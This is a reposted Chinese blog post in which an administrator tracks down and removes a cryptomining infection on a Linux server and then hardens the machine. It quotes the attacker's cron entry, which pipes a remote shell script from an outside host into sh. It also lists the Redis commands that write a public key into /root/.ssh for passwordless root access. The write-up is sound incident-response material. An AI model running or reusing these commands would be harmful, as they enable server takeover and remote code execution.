【转】服务器挖矿病毒的排查过程

今天同事反馈公司的某台服务器远程连接不上,登录服务器查看后,发现CPU使用率居高不下。kill掉后,一分钟有自动生成,整个排查思路如下:

   

1、top 命令查看主机负载,确认可疑进程为bashd

2、确认可疑进程尝试杀掉,pkill bashd ,但发现一会就出现,怀疑有定时任务

3、 排查定时任务,定时任务有2处可以设置,如下:

crontab –l 发现并没有定时任务

/etc/crontab 确实有定时任务,将其删除

4、检查开机自启动设置/etc/rc.loacl,果然放入了启动任务,将其删除。

5、 #find /-name bashd*

/root/bashd

/usr/sbin/bashd

查找bashd,发现有2个/usr/sbin/bash 删除后1分钟自动生成,/root/bashd 删除时提示rm 命令错误,使用想到查看其权限,

#chattr –i /root/bashd

#rm –rf /root/bashd #修改权限后可以删除了

6、可能是免密登录了,去/root/.ssh目录,果然有可疑的文件存在 bash。

7、 在ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了这个文件(bash).猜想是这样的,通过authorized_keys免秘钥登录后,在这个目录下创建了bash文件,修改了AuthorizedKeyfile的指向,root也设置了远端登录。

那么是写进来authorized_keys的那?

应该是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:

config set dir /root/.ssh

config set dbfilenameauthorized_keys

set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。

8、 先堵住免登录漏洞

1)、修改ssh 端口号

2)、禁止root登录

3)、修改无密码登陆文件的路径

4)、删除.ssh 下的bashd

5)、外网只映射80、22,关闭其他端口。

9、经过一顿折腾,总算把漏洞堵住了,病毒也删除了,重启后观察半小时,服务器正常。

   

总结:大概是这样的

1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab

2)创建免登录文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重启

3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33--Install),然后启动bashd

杀毒过程:

1)top 检查可疑进程,pkill 杀死进程,如果进程还能存在,说明一定有定时任务或守护进程(开机启动),检查/var/spool/cron/root 和/etc/crontab 和/etc/rc.lcoal

2)找到可疑程序的位置将其删除,如果删除不掉,查看隐藏权限。lsattr chattr 修改权限后将其删除即可。

3)查看/root/.ssh/目录下是否设置了免秘钥登陆,并查看ssh_config配置文件是否被篡改。

4)在防火墙关闭不必要的映射端口号,重启再测试是否还会有可疑进程存在。大致就这几个方面的考虑。

到此为止,由于时间关系就没有放截图上来。

转载于:https://www.cnblogs.com/luckybookmarks/p/8259974.html

你可能感兴趣的:(【转】服务器挖矿病毒的排查过程)